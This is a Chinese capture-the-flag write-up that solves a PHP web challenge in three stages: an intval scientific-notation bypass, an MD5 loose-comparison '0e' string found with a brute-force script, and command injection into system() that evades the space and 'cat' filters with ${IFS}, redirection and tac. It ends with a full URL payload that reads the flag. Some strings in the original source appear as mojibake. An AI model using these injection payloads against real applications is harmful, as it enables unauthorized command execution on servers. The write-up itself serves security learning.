启动挑战页面
访问一下robots.txt看看有没有什么提示 发现有个可疑的链接:/fAke_f1agggg.php 到这里就可以看到重要的源码了
<img src="/img.jpg">
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "鎴戜笉缁忔剰闂寸湅浜嗙湅鎴戠殑鍔冲姏澹�, 涓嶆槸鎯崇湅鏃堕棿, 鍙槸鎯充笉缁忔剰闂�, 璁╀綘鐭ラ亾鎴戣繃寰楁瘮浣犲ソ.</br>";
}else{
die("閲戦挶瑙e喅涓嶄簡绌蜂汉鐨勬湰璐ㄩ棶棰�");
}
}else{
die("鍘婚潪娲插惂");
}
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "鎯冲埌杩欎釜CTFer鎷垮埌flag鍚�, 鎰熸縺娑曢浂, 璺戝幓涓滄緶宀�, 鎵句竴瀹堕鍘�, 鎶婂帹甯堣桨鍑哄幓, 鑷繁鐐掍袱涓嬁鎵嬪皬鑿�, 鍊掍竴鏉暎瑁呯櫧閰�, 鑷村瘜鏈夐亾, 鍒灏忔毚.</br>";
else
die("鎴戣刀绱у枈鏉ユ垜鐨勯厭鑲夋湅鍙�, 浠栨墦浜嗕釜鐢佃瘽, 鎶婁粬涓瀹跺畨鎺掑埌浜嗛潪娲�");
}else{
die("鍘婚潪娲插惂");
}
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "鎯冲埌杩欓噷, 鎴戝厖瀹炶屾鎱�, 鏈夐挶浜虹殑蹇箰寰寰灏辨槸杩欎箞鐨勬湸瀹炴棤鍗�, 涓旀灟鐕�.</br>";
system($get_flag);
}else{
die("蹇埌闈炴床浜�");
}
}else{
die("鍘婚潪娲插惂");
}
?>
但是不知道为什么,我这里显示的中文全是乱码的。所以稍微改一改:
<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);
echo "<br>";
if (isset($_GET['num'])){
$num = $_GET['num'];
if(intval($num) < 2020 && intval($num + 1) > 2021){
echo "第一关通过.</br>";
}else{
die("第一关失败");
}
}else{
die("请输入变量num");
}
if (isset($_GET['md5'])){
$md5=$_GET['md5'];
if ($md5==md5($md5))
echo "第二关成功.</br>";
else
die("第二关失败");
}else{
die("请输入变量md5");
}
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
echo "第三关成功.</br>";
system($get_flag);
}else{
die("第三关失败");
}
}else{
die("请输入变量get_flag");
}
?>
可以看到这里有三关,绕过这三关后才能获取flag 第一关: 传入一个变量num,经过intval 函数转换后使得它小于2020.但是加1后要大于2021
if(intval($num) < 2020 && intval($num + 1) > 2021)
这关的主要难点是就是intval ,所以我们需要查查看intval是什么东西:intval函数 因为我很久之前做过这道题,当时看了一位大佬的解说这里可以绕过。所以有印象… 为了验证是否正确,所以写了简单的测试:
<?php
header('Content-type:text/html;charset=utf-8');
$num = $_GET['num'];
$res1 = intval($num);
$res2 = intval($num + 1);
echo $res1;
echo "<br>";
echo $res2;
echo "<br>";
?>
然后输入num=1000e10 看看能不能绕过这里,结果是可以的:
第二关: 传入一个变量md5,并且这个变量经过MD5加密后。这两个值相等
$md5=$_GET['md5'];
if ($md5==md5($md5))
两个等于号,说明是MD5弱碰撞。即:0e123456 == 0e654321 但是这里的难点是,什么样的字符串满足:
这里没有什么技巧可言,所以这里我用暴力破解来找出这个字符串。这里附上Python3代码:
import hashlib
from queue import Queue
"""
使用广度优先搜索来暴力破解MD5碰撞
"""
str = "0123456789"
Q = Queue()
Q.put("0e")
MD5_KEY = 0
MD5_VALUE = 0
while not Q.empty():
temp = Q.get()
for s in str:
strings = temp + s
Q.put(strings)
md5 = hashlib.md5()
md5.update(strings.encode('utf-8'))
md5_value = md5.hexdigest()
if md5_value[0:2] == "0e" and md5_value[2:].isdigit():
print("----------------------------------------------------------------------------------")
print(strings)
print(md5_value)
print("----------------------------------------------------------------------------------")
print("---------------------------------完成-------------------------------------")
这份代码需要运行20分钟左右才会出答案 。并且我这里写的是个死循环,所以它不会正常结束。所以等到它暴力破解出正确答案后就可以停止运行了。当然你也可以让它继续运行,但是这样它会不断的需要分配内存。直到产生错误。。。。 可以看到字符串:0e215962017 是满足的。 一开始我是用深度优先搜索来暴力破解的,但是做不出来。所以才改成广度优先搜索来做… 所以第二关为:md5=0e215962017
第三关: 传入一个变量get_flag,并且这个变量不能用空格
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," "))
也不能有字符串"cat"
$get_flag = str_ireplace("cat", "wctf2020", $get_flag);
首先是绕过空格,可以看这篇文章 根据这篇文章,我们可以用这些符号来绕过:
至于cat绕过,我们可以用tac 或ca\t 来绕过。 所以这一关,我们可以写成以下的其中一种:
tac${IFS}flag
tac$IFS$9flag
tac<flag
tac<>flag
ca\t${IFS}
ca\t$IFS$9
ca\t<
ca\t<>flag
所以总的Payload为:?num=1000e10&md5=0e215962017&get_flag=tac${IFS}flag。 但是你会发现这样并不能获取flag,因为没有flag这个文件。 所以我们需要先用ls 命令来看看当前目录下可疑的文件 因为fAke_f1agggg.php和fl4g.php这两个文件我们上面就访问过了,所以这里我们访问fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag 看看能不能获取flag。 所以最终Payload为:
?num=1000e10
&md5=0e215962017
&get_flag=tac${IFS}fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
|